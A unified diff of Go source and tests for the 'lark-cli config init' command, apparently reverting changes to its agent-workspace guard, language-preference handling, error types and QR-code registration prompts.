// Running init here would create a parallel app under the agent's workspace
// dir, breaking the binding the user actually wants. --force-init lets a
// human user override when they really do want a separate app.
func guardAgentWorkspace(opts *ConfigInitOptions) error {
if opts.ForceInit {
return nil
}
ws := core.DetectWorkspaceFromEnv(os.Getenv)
if ws.IsLocal() {
return nil
}
return errs.NewConfigError(errs.SubtypeNotConfigured,
"config init is refused inside %s context (would create a parallel app and shadow the existing %s binding)", ws.Display(), ws.Display()).
WithHint("see `lark-cli config bind --help` to bind lark-cli to the Agent's existing app instead. Pass --force-init only if the user explicitly wants a separate app in this workspace.")
}
// hasAnyNonInteractiveFlag returns true if any non-interactive flag is set.
func (o *ConfigInitOptions) hasAnyNonInteractiveFlag() bool {
return o.New || o.AppID != "" || o.AppSecretStdin
@@ -155,7 +92,7 @@ func cleanupOldConfig(existing *core.MultiAppConfig, f *cmdutil.Factory, skipApp
func saveAsOnlyApp(appId string, secret core.SecretInput, brand core.LarkBrand, lang string) error {
config := &core.MultiAppConfig{
Apps: []core.AppConfig{{
AppId: appId, AppSecret: secret, Brand: brand, Lang: i18n.Lang(lang), Users: []core.AppUser{},
AppId: appId, AppSecret: secret, Brand: brand, Lang: lang, Users: []core.AppUser{},
}},
}
return core.SaveMultiAppConfig(config)
@@ -169,27 +106,7 @@ func saveInitConfig(profileName string, existing *core.MultiAppConfig, f *cmduti
return saveAsProfile(existing, f.Keychain, profileName, appId, secret, brand, lang)
}
cleanupOldConfig(existing, f, appId)
var prior i18n.Lang
if existing != nil {
if app := existing.CurrentAppConfig(""); app != nil {
prior = app.Lang
}
}
return saveAsOnlyApp(appId, secret, brand, string(preferredLang(i18n.Lang(lang), prior)))
}
// wrapSaveConfigError passes an already-typed error (e.g. the --name conflict
// validation error from saveAsProfile) through unchanged, and classifies any
// other failure as an internal storage error. Without the passthrough a user
// input error would surface to agents as a system storage failure.
func wrapSaveConfigError(err error) error {
if err == nil {
return nil
}
if _, ok := errs.ProblemOf(err); ok {
return err
}
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
return saveAsOnlyApp(appId, secret, brand, lang)
}
// saveAsProfile appends or updates a named profile in the config.
@@ -210,15 +127,14 @@ func saveAsProfile(existing *core.MultiAppConfig, kc keychain.KeychainAccess, pr
}
multi.Apps[idx].Users = []core.AppUser{}
}
// Update existing profile
multi.Apps[idx].AppId = appId
multi.Apps[idx].AppSecret = secret
multi.Apps[idx].Brand = brand
multi.Apps[idx].Lang = preferredLang(i18n.Lang(lang), multi.Apps[idx].Lang)
multi.Apps[idx].Lang = lang
} else {
if findAppIndexByAppID(multi, profileName) >= 0 {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"profile name %q conflicts with existing appId", profileName).
WithParam("--name")
return fmt.Errorf("profile name %q conflicts with existing appId", profileName)
}
// Append new profile
multi.Apps = append(multi.Apps, core.AppConfig{
@@ -226,7 +142,7 @@ func saveAsProfile(existing *core.MultiAppConfig, kc keychain.KeychainAccess, pr
AppId: appId,
AppSecret: secret,
Brand: brand,
Lang: i18n.Lang(lang),
Lang: lang,
Users: []core.AppUser{},
})
}
@@ -257,25 +173,9 @@ func findAppIndexByAppID(multi *core.MultiAppConfig, appID string) int {
return -1
}
// wrapUpdateExistingProfileErr classifies the error returned by
// updateExistingProfileWithoutSecret. Typed errors (e.g. *errs.ValidationError
// for blank-input) pass through unchanged so their exit code semantics
// survive; everything else (filesystem, keychain, etc.) is wrapped as
// InternalError.
func wrapUpdateExistingProfileErr(err error) error {
if err == nil {
return nil
}
if errs.IsTyped(err) {
return err
}
return errs.NewInternalError(errs.SubtypeSDKError, "failed to save config: %v", err).WithCause(err)
}
func updateExistingProfileWithoutSecret(existing *core.MultiAppConfig, profileName, appID string, brand core.LarkBrand, lang string) error {
if existing == nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "App Secret cannot be empty for new configuration").
WithParam("--app-secret")
return output.ErrValidation("App Secret cannot be empty for new configuration")
}
var app *core.AppConfig
@@ -283,25 +183,22 @@ func updateExistingProfileWithoutSecret(existing *core.MultiAppConfig, profileNa
if idx := findProfileIndexByName(existing, profileName); idx >= 0 {
app = &existing.Apps[idx]
} else {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "App Secret cannot be empty for new profile").
WithParam("--app-secret")
return output.ErrValidation("App Secret cannot be empty for new profile")
}
} else {
app = existing.CurrentAppConfig("")
if app == nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "App Secret cannot be empty for new configuration").
WithParam("--app-secret")
return output.ErrValidation("App Secret cannot be empty for new configuration")
}
}
if app.AppId != appID {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "App Secret cannot be empty when changing App ID").
WithParam("--app-secret")
return output.ErrValidation("App Secret cannot be empty when changing App ID")
}
app.AppId = appID
app.Brand = brand
app.Lang = preferredLang(i18n.Lang(lang), app.Lang)
app.Lang = lang
return core.SaveMultiAppConfig(existing)
}
@@ -313,13 +210,13 @@ func configInitRun(opts *ConfigInitOptions) error {
scanner := bufio.NewScanner(f.IOStreams.In)
if !scanner.Scan() {
if err := scanner.Err(); err != nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "failed to read secret from stdin: %v", err).WithCause(err)
return output.ErrValidation("failed to read secret from stdin: %v", err)
}
return errs.NewValidationError(errs.SubtypeInvalidArgument, "stdin is empty, expected app secret")
return output.ErrValidation("stdin is empty, expected app secret")
}
opts.appSecret = strings.TrimSpace(scanner.Text())
if opts.appSecret == "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "app secret read from stdin is empty")
return output.ErrValidation("app secret read from stdin is empty")
}
}
@@ -331,7 +228,7 @@ func configInitRun(opts *ConfigInitOptions) error {
// Validate --profile name if set
if opts.ProfileName != "" {
if err := core.ValidateProfileName(opts.ProfileName); err != nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "%v", err).WithCause(err)
return output.ErrValidation("%v", err)
}
}
@@ -340,56 +237,54 @@ func configInitRun(opts *ConfigInitOptions) error {
brand := parseBrand(opts.Brand)
secret, err := core.ForStorage(opts.AppID, core.PlainSecret(opts.appSecret), f.Keychain)
if err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
return output.Errorf(output.ExitInternal, "internal", "%v", err)
}
if err := saveInitConfig(opts.ProfileName, existing, f, opts.AppID, secret, brand, opts.Lang); err != nil {
return wrapSaveConfigError(err)
return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
}
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", core.GetConfigPath()))
printLangPreferenceConfirmation(opts)
output.PrintJson(f.IOStreams.Out, map[string]interface{}{"appId": opts.AppID, "appSecret": "****", "brand": brand})
if err := runProbe(opts.Ctx, f, opts.AppID, opts.appSecret, brand); err != nil {
return err
}
return nil
}
// For interactive modes, prompt language selection if --lang was not explicitly set.
// Picker offers 2 options (中文 / English) and drives BOTH opts.Lang
// (preference) and opts.UILang (TUI rendering).
// For interactive modes, prompt language selection if --lang was not explicitly set
if f.IOStreams.IsTerminal && !opts.langExplicit && !opts.hasAnyNonInteractiveFlag() {
lang, err := promptLangSelection()
if err != nil {
return langSelectionError(err)
savedLang := ""
if existing != nil {
if app := existing.CurrentAppConfig(""); app != nil {
savedLang = app.Lang
}
}
opts.Lang = string(lang)
opts.UILang = lang
lang, err := promptLangSelection(savedLang)
if err != nil {
if err == huh.ErrUserAborted {
return output.ErrBare(1)
}
return err
}
opts.Lang = lang
}
msg := getInitMsg(opts.UILang)
msg := getInitMsg(opts.Lang)
// Mode 3: Create new app directly (--new)
if opts.New {
result, err := runCreateAppFlow(opts.Ctx, f, parseBrand(opts.Brand), msg)
result, err := runCreateAppFlow(opts.Ctx, f, core.BrandFeishu, msg)
if err != nil {
return err
}
if result == nil {
return errs.NewInternalError(errs.SubtypeSDKError, "app creation returned no result")
return output.ErrValidation("app creation returned no result")
}
existing, _ := core.LoadMultiAppConfig()
secret, err := core.ForStorage(result.AppID, core.PlainSecret(result.AppSecret), f.Keychain)
if err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
return output.Errorf(output.ExitInternal, "internal", "%v", err)
}
if err := saveInitConfig(opts.ProfileName, existing, f, result.AppID, secret, result.Brand, opts.Lang); err != nil {
return wrapSaveConfigError(err)
return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
}
printLangPreferenceConfirmation(opts)
output.PrintJson(f.IOStreams.Out, map[string]interface{}{"appId": result.AppID, "appSecret": "****", "brand": result.Brand})
if err := runProbe(opts.Ctx, f, result.AppID, result.AppSecret, result.Brand); err != nil {
return err
}
return nil
}
@@ -400,8 +295,7 @@ func configInitRun(opts *ConfigInitOptions) error {
return err
}
if result == nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "App ID and App Secret cannot be empty").
WithParam("--app-id")
return output.ErrValidation("App ID and App Secret cannot be empty")
}
existing, _ := core.LoadMultiAppConfig()
@@ -410,36 +304,33 @@ func configInitRun(opts *ConfigInitOptions) error {
// New secret provided (either from "create" or "existing" with input)
secret, err := core.ForStorage(result.AppID, core.PlainSecret(result.AppSecret), f.Keychain)
if err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
return output.Errorf(output.ExitInternal, "internal", "%v", err)
}
if err := saveInitConfig(opts.ProfileName, existing, f, result.AppID, secret, result.Brand, opts.Lang); err != nil {
return wrapSaveConfigError(err)
return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
}
} else if result.Mode == "existing" && result.AppID != "" {
// Existing app with unchanged secret — update app ID and brand only
if err := wrapUpdateExistingProfileErr(updateExistingProfileWithoutSecret(existing, opts.ProfileName, result.AppID, result.Brand, opts.Lang)); err != nil {
return err
if err := updateExistingProfileWithoutSecret(existing, opts.ProfileName, result.AppID, result.Brand, opts.Lang); err != nil {
var exitErr *output.ExitError
if errors.As(err, &exitErr) {
return err
}
return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
}
} else {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "App ID and App Secret cannot be empty").
WithParam("--app-id")
return output.ErrValidation("App ID and App Secret cannot be empty")
}
if result.Mode == "existing" {
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf(msg.ConfigSaved, result.AppID))
}
printLangPreferenceConfirmation(opts)
if result.AppSecret != "" {
if err := runProbe(opts.Ctx, f, result.AppID, result.AppSecret, result.Brand); err != nil {
return err
}
}
return nil
}
// Non-terminal: cannot run interactive mode, guide user to --new
if !f.IOStreams.IsTerminal {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "config init requires a terminal for interactive mode. Run with --new to create a new app:\n lark-cli config init --new\nThis command blocks until setup is complete and outputs a verification URL. Run it in the background, then retrieve the URL from its output.")
return output.ErrValidation("config init requires a terminal for interactive mode. Run with --new to create a new app:\n lark-cli config init --new\nThis command blocks until setup is complete and outputs a verification URL. Run it in the background, then retrieve the URL from its output.")
}
// Mode 5: Legacy interactive (readline fallback)
@@ -467,7 +358,7 @@ func configInitRun(opts *ConfigInitOptions) error {
}
appIdInput, err := readLine(prompt)
if err != nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err).WithCause(err)
return output.ErrValidation("%s", err)
}
prompt = "App Secret"
@@ -476,7 +367,7 @@ func configInitRun(opts *ConfigInitOptions) error {
}
appSecretInput, err := readLine(prompt)
if err != nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err).WithCause(err)
return output.ErrValidation("%s", err)
}
prompt = "Brand (lark/feishu)"
@@ -487,7 +378,7 @@ func configInitRun(opts *ConfigInitOptions) error {
}
brandInput, err := readLine(prompt)
if err != nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err).WithCause(err)
return output.ErrValidation("%s", err)
}
resolvedAppId := appIdInput
@@ -509,23 +400,16 @@ func configInitRun(opts *ConfigInitOptions) error {
}
if resolvedAppId == "" || resolvedSecret.IsZero() {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "App ID and App Secret cannot be empty").
WithParam("--app-id")
return output.ErrValidation("App ID and App Secret cannot be empty")
}
storedSecret, err := core.ForStorage(resolvedAppId, resolvedSecret, f.Keychain)
if err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
return output.Errorf(output.ExitInternal, "internal", "%v", err)
}
if err := saveInitConfig(opts.ProfileName, existing, f, resolvedAppId, storedSecret, parseBrand(resolvedBrand), opts.Lang); err != nil {
return wrapSaveConfigError(err)
return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
}
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", core.GetConfigPath()))
printLangPreferenceConfirmation(opts)
if appSecretInput != "" {
if err := runProbe(opts.Ctx, f, resolvedAppId, appSecretInput, parseBrand(resolvedBrand)); err != nil {
return err
}
}
return nil
}

View File

@@ -1,73 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package config
import (
"errors"
"strings"
"testing"
"github.com/larksuite/cli/errs"
)
func TestGuardAgentWorkspace_LocalAllows(t *testing.T) {
clearAgentEnv(t)
if err := guardAgentWorkspace(&ConfigInitOptions{}); err != nil {
t.Errorf("local workspace should allow init, got: %v", err)
}
}
func TestGuardAgentWorkspace_OpenClawRefuses(t *testing.T) {
t.Setenv("OPENCLAW_HOME", t.TempDir())
err := guardAgentWorkspace(&ConfigInitOptions{})
if err == nil {
t.Fatal("expected refusal in OpenClaw context, got nil")
}
var cfgErr *errs.ConfigError
if !errors.As(err, &cfgErr) {
t.Fatalf("error type = %T, want *errs.ConfigError", err)
}
if cfgErr.Subtype != errs.SubtypeNotConfigured {
t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
}
if !strings.Contains(cfgErr.Message, "openclaw") {
t.Errorf("message must name the openclaw workspace; got %q", cfgErr.Message)
}
if !strings.Contains(cfgErr.Hint, "config bind --help") {
t.Errorf("hint must point to config bind --help; got %q", cfgErr.Hint)
}
if !strings.Contains(cfgErr.Hint, "--force-init") {
t.Errorf("hint must mention --force-init escape hatch; got %q", cfgErr.Hint)
}
}
func TestGuardAgentWorkspace_HermesRefuses(t *testing.T) {
t.Setenv("HERMES_HOME", t.TempDir())
err := guardAgentWorkspace(&ConfigInitOptions{})
if err == nil {
t.Fatal("expected refusal in Hermes context, got nil")
}
var cfgErr *errs.ConfigError
if !errors.As(err, &cfgErr) {
t.Fatalf("error type = %T, want *errs.ConfigError", err)
}
if cfgErr.Subtype != errs.SubtypeNotConfigured {
t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
}
if !strings.Contains(cfgErr.Message, "hermes") {
t.Errorf("message must name the hermes workspace; got %q", cfgErr.Message)
}
}
func TestGuardAgentWorkspace_ForceInitOverride(t *testing.T) {
t.Setenv("OPENCLAW_HOME", t.TempDir())
// --force-init must let the user proceed even inside an Agent context.
if err := guardAgentWorkspace(&ConfigInitOptions{ForceInit: true}); err != nil {
t.Errorf("--force-init should bypass the guard, got: %v", err)
}
}

View File

@@ -6,17 +6,16 @@ package config
import (
"context"
"fmt"
"net/http"
"github.com/charmbracelet/huh"
"github.com/larksuite/cli/internal/build"
qrcode "github.com/skip2/go-qrcode"
"github.com/larksuite/cli/errs"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/transport"
)
// configInitResult holds the result of the interactive config init flow.
@@ -126,16 +125,8 @@ func runExistingAppForm(f *cmdutil.Factory, msg *initMsg) (*configInitResult, er
}, nil
}
switch {
case appID == "" && appSecret == "":
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "App ID and App Secret cannot be empty").
WithParam("--app-id")
case appID == "":
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "App ID cannot be empty").
WithParam("--app-id")
case appSecret == "":
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "App Secret cannot be empty").
WithParam("--app-secret")
if appID == "" || appSecret == "" {
return nil, output.ErrValidation("App ID and App Secret cannot be empty")
}
return &configInitResult{
@@ -177,40 +168,29 @@ func runCreateAppFlow(ctx context.Context, f *cmdutil.Factory, brandOverride cor
}
// Step 1: Request app registration (begin)
// Use the shared proxy-plugin-aware transport so registration traffic is not
// a bypass of proxy plugin mode.
httpClient := transport.NewHTTPClient(0)
httpClient := &http.Client{}
authResp, err := larkauth.RequestAppRegistration(httpClient, larkBrand, f.IOStreams.ErrOut)
if err != nil {
return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "app registration failed: %v", err).WithCause(err)
return nil, output.ErrAuth("app registration failed: %v", err)
}
// Step 2: Build and display verification URL + QR code
verificationURL := larkauth.BuildVerificationURL(authResp.VerificationUriComplete, build.Version)
// Branch on TTY: human-friendly copy in interactive terminals,
// preserve original copy for AI / non-interactive callers.
if f.IOStreams.IsTerminal {
fmt.Fprintf(f.IOStreams.ErrOut, "%s", msg.ScanQRCode)
qr, qrErr := qrcode.New(verificationURL, qrcode.Medium)
if qrErr == nil {
fmt.Fprint(f.IOStreams.ErrOut, qr.ToSmallString(false))
}
fmt.Fprintf(f.IOStreams.ErrOut, "%s", msg.ScanOrOpenLink)
fmt.Fprintf(f.IOStreams.ErrOut, " %s\n\n", verificationURL)
fmt.Fprintf(f.IOStreams.ErrOut, "%s\n", msg.WaitingForScan)
} else {
qr, qrErr := qrcode.New(verificationURL, qrcode.Medium)
if qrErr == nil {
fmt.Fprint(f.IOStreams.ErrOut, qr.ToSmallString(false))
}
fmt.Fprintf(f.IOStreams.ErrOut, "%s", msg.OpenLinkNonTTY)
fmt.Fprintf(f.IOStreams.ErrOut, " %s\n\n", verificationURL)
fmt.Fprintf(f.IOStreams.ErrOut, "%s\n", msg.WaitingForScanNonTTY)
// Show QR code in terminal
qr, qrErr := qrcode.New(verificationURL, qrcode.Medium)
if qrErr == nil {
fmt.Fprint(f.IOStreams.ErrOut, qr.ToSmallString(false))
}
fmt.Fprintf(f.IOStreams.ErrOut, "%s", msg.ScanOrOpenLink)
fmt.Fprintf(f.IOStreams.ErrOut, " %s\n\n", verificationURL)
// Step 3: Poll for result
fmt.Fprintf(f.IOStreams.ErrOut, "%s\n", msg.WaitingForScan)
result, err := larkauth.PollAppRegistration(ctx, httpClient, core.BrandFeishu, authResp.DeviceCode, authResp.Interval, authResp.ExpiresIn, f.IOStreams.ErrOut)
if err != nil {
return nil, errs.NewAuthenticationError(errs.SubtypeUnknown, "%v", err).WithCause(err)
return nil, output.ErrAuth("%v", err)
}
// Step 4: Handle Lark brand special case
@@ -219,12 +199,12 @@ func runCreateAppFlow(ctx context.Context, f *cmdutil.Factory, brandOverride cor
// fmt.Fprintf(f.IOStreams.ErrOut, "%s\n", msg.DetectedLarkTenant)
result, err = larkauth.PollAppRegistration(ctx, httpClient, core.BrandLark, authResp.DeviceCode, authResp.Interval, authResp.ExpiresIn, f.IOStreams.ErrOut)
if err != nil {
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "lark endpoint retry failed: %v", err).WithCause(err)
return nil, output.ErrAuth("lark endpoint retry failed: %v", err)
}
}
if result.ClientID == "" || result.ClientSecret == "" {
return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "app registration succeeded but missing client_id or client_secret")
return nil, output.ErrAuth("app registration succeeded but missing client_id or client_secret")
}
// Determine final brand from response

View File

@@ -4,93 +4,74 @@
package config
import (
"errors"
"github.com/charmbracelet/huh"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/i18n"
"github.com/larksuite/cli/internal/output"
)
type initMsg struct {
SelectAction string
CreateNewApp string
ConfigExistingApp string
Platform string
SelectPlatform string
Feishu string
// TTY (interactive) variants
ScanQRCode string // header shown above QR code
ScanOrOpenLink string // post-QR alt link prompt ("or open...")
WaitingForScan string // active polling indicator
// Non-TTY (AI / non-interactive) variants — preserve original copy
OpenLinkNonTTY string // primary link prompt
WaitingForScanNonTTY string // passive waiting indicator
DetectedLarkTenant string
AppCreated string
ConfigSaved string
// LangPreferenceSet is printed to stderr after a successful init when the
// user explicitly passed --lang. Format: language code.
LangPreferenceSet string
SelectAction string
CreateNewApp string
ConfigExistingApp string
Platform string
SelectPlatform string
Feishu string
ScanOrOpenLink string
WaitingForScan string
DetectedLarkTenant string
AppCreated string
ConfigSaved string
}
var initMsgZh = &initMsg{
SelectAction: "选择操作",
CreateNewApp: "一键配置应用 (推荐) ",
ConfigExistingApp: "手动输入应用凭证",
Platform: "平台",
SelectPlatform: "选择平台",
Feishu: "飞书",
ScanQRCode: "\n使用飞书 / Lark 扫码配置应用\n\n",
ScanOrOpenLink: "\n或打开以下链接完成配置\n",
WaitingForScan: "正在获取你的应用配置结果...",
OpenLinkNonTTY: "\n打开以下链接配置应用:\n\n",
WaitingForScanNonTTY: "等待配置应用...",
DetectedLarkTenant: "[lark-cli] 检测到 Lark 租户,切换端点重试...",
AppCreated: "应用配置成功! App ID: %s",
ConfigSaved: "应用配置成功! App ID: %s",
LangPreferenceSet: "语言偏好已设置:%s",
SelectAction: "选择操作",
CreateNewApp: "一键配置应用 (推荐) ",
ConfigExistingApp: "手动输入应用凭证",
Platform: "平台",
SelectPlatform: "选择平台",
Feishu: "飞书",
ScanOrOpenLink: "\n打开以下链接配置应用:\n\n",
WaitingForScan: "等待配置应用...",
DetectedLarkTenant: "[lark-cli] 检测到 Lark 租户,切换端点重试...",
AppCreated: "应用配置成功! App ID: %s",
ConfigSaved: "应用配置成功! App ID: %s",
}
var initMsgEn = &initMsg{
SelectAction: "Select action",
CreateNewApp: "Set up your app with one click (Recommended)",
ConfigExistingApp: "Enter app credentials yourself",
Platform: "Platform",
SelectPlatform: "Select platform",
Feishu: "Feishu",
ScanQRCode: "\nScan the QR code with Feishu/Lark:\n\n",
ScanOrOpenLink: "\nOr open the link below in your browser:\n",
WaitingForScan: "Fetching configuration results...",
OpenLinkNonTTY: "\nOpen the link below to configure app:\n\n",
WaitingForScanNonTTY: "Waiting for app configuration...",
DetectedLarkTenant: "[lark-cli] Detected Lark tenant, switching endpoint...",
AppCreated: "App configured! App ID: %s",
ConfigSaved: "App configured! App ID: %s",
LangPreferenceSet: "Language preference set to: %s",
SelectAction: "Select action",
CreateNewApp: "Set up your app with one click (Recommended)",
ConfigExistingApp: "Enter app credentials yourself",
Platform: "Platform",
SelectPlatform: "Select platform",
Feishu: "Feishu",
ScanOrOpenLink: "\nOpen the link below to configure app:\n\n",
WaitingForScan: "Waiting for app configuration...",
DetectedLarkTenant: "[lark-cli] Detected Lark tenant, switching endpoint...",
AppCreated: "App configured! App ID: %s",
ConfigSaved: "App configured! App ID: %s",
}
// getInitMsg picks the zh/en TUI bundle; non-English falls back to zh.
func getInitMsg(lang i18n.Lang) *initMsg {
if lang.IsEnglish() {
func getInitMsg(lang string) *initMsg {
if lang == "en" {
return initMsgEn
}
return initMsgZh
}
// promptLangSelection shows the 中文/English picker and returns the chosen locale.
func promptLangSelection() (i18n.Lang, error) {
lang := i18n.LangZhCN
// promptLangSelection shows an interactive language picker and returns the chosen lang code.
// savedLang is used as the pre-selected default (from existing config).
func promptLangSelection(savedLang string) (string, error) {
lang := savedLang
if lang != "en" {
lang = "zh"
}
form := huh.NewForm(
huh.NewGroup(
huh.NewSelect[i18n.Lang]().
huh.NewSelect[string]().
Title("Language / 语言").
Options(
huh.NewOption("中文", i18n.LangZhCN),
huh.NewOption("English", i18n.LangEnUS),
huh.NewOption("中文", "zh"),
huh.NewOption("English", "en"),
).
Value(&lang),
),
@@ -101,12 +82,3 @@ func promptLangSelection() (i18n.Lang, error) {
}
return lang, nil
}
// langSelectionError maps a promptLangSelection failure to its exit surface:
// user abort exits bare with code 1; any other failure is internal.
func langSelectionError(err error) error {
if errors.Is(err, huh.ErrUserAborted) {
return output.ErrBare(1)
}
return errs.NewInternalError(errs.SubtypeUnknown, "language selection failed: %v", err).WithCause(err)
}

View File

@@ -6,8 +6,6 @@ package config
import (
"fmt"
"testing"
"github.com/larksuite/cli/internal/i18n"
)
func TestGetInitMsg_Zh(t *testing.T) {
@@ -31,7 +29,7 @@ func TestGetInitMsg_En(t *testing.T) {
}
func TestGetInitMsg_DefaultsToZh(t *testing.T) {
for _, lang := range []i18n.Lang{"", "unknown", "xyz", "invalid"} {
for _, lang := range []string{"", "fr", "ja", "unknown"} {
msg := getInitMsg(lang)
if msg != initMsgZh {
t.Errorf("getInitMsg(%q) should default to zh", lang)
@@ -50,21 +48,17 @@ func TestInitMsgEn_AllFieldsNonEmpty(t *testing.T) {
func assertAllFieldsNonEmpty(t *testing.T, msg *initMsg, label string) {
t.Helper()
fields := map[string]string{
"SelectAction": msg.SelectAction,
"CreateNewApp": msg.CreateNewApp,
"ConfigExistingApp": msg.ConfigExistingApp,
"Platform": msg.Platform,
"SelectPlatform": msg.SelectPlatform,
"Feishu": msg.Feishu,
"ScanQRCode": msg.ScanQRCode,
"ScanOrOpenLink": msg.ScanOrOpenLink,
"WaitingForScan": msg.WaitingForScan,
"OpenLinkNonTTY": msg.OpenLinkNonTTY,
"WaitingForScanNonTTY": msg.WaitingForScanNonTTY,
"DetectedLarkTenant": msg.DetectedLarkTenant,
"AppCreated": msg.AppCreated,
"ConfigSaved": msg.ConfigSaved,
"LangPreferenceSet": msg.LangPreferenceSet,
"SelectAction": msg.SelectAction,
"CreateNewApp": msg.CreateNewApp,
"ConfigExistingApp": msg.ConfigExistingApp,
"Platform": msg.Platform,
"SelectPlatform": msg.SelectPlatform,
"Feishu": msg.Feishu,
"ScanOrOpenLink": msg.ScanOrOpenLink,
"WaitingForScan": msg.WaitingForScan,
"DetectedLarkTenant": msg.DetectedLarkTenant,
"AppCreated": msg.AppCreated,
"ConfigSaved": msg.ConfigSaved,
}
for name, val := range fields {
if val == "" {
@@ -74,7 +68,7 @@ func assertAllFieldsNonEmpty(t *testing.T, msg *initMsg, label string) {
}
func TestInitMsg_FormatStrings(t *testing.T) {
for _, lang := range []i18n.Lang{i18n.LangZhCN, i18n.LangEnUS} {
for _, lang := range []string{"zh", "en"} {
msg := getInitMsg(lang)
// AppCreated and ConfigSaved should contain %s for App ID
got := fmt.Sprintf(msg.AppCreated, "cli_test123")
@@ -87,37 +81,3 @@ func TestInitMsg_FormatStrings(t *testing.T) {
}
}
}
func TestGetInitMsg_BilingualCollapse(t *testing.T) {
// The TUI is bilingual (zh + en). Only English-bucket languages return the
// English struct — by canonical locale ("en_us") or legacy short ("en").
// Everything else (zh, the other codes, invalid, "") returns Chinese.
tests := []struct {
lang i18n.Lang
shouldBeEn bool
}{
{i18n.LangZhCN, false},
{i18n.LangEnUS, true},
{"en", true}, // legacy short value
{i18n.LangJaJP, false},
{"fr_fr", false},
{"invalid", false},
{"", false},
}
for _, tt := range tests {
t.Run(string(tt.lang), func(t *testing.T) {
msg := getInitMsg(tt.lang)
if msg == nil {
t.Fatal("getInitMsg returned nil")
}
want := initMsgZh
if tt.shouldBeEn {
want = initMsgEn
}
if msg != want {
t.Errorf("getInitMsg(%q) returned wrong struct", tt.lang)
}
})
}
}

Some files were not shown because too many files have changed in this diff Show More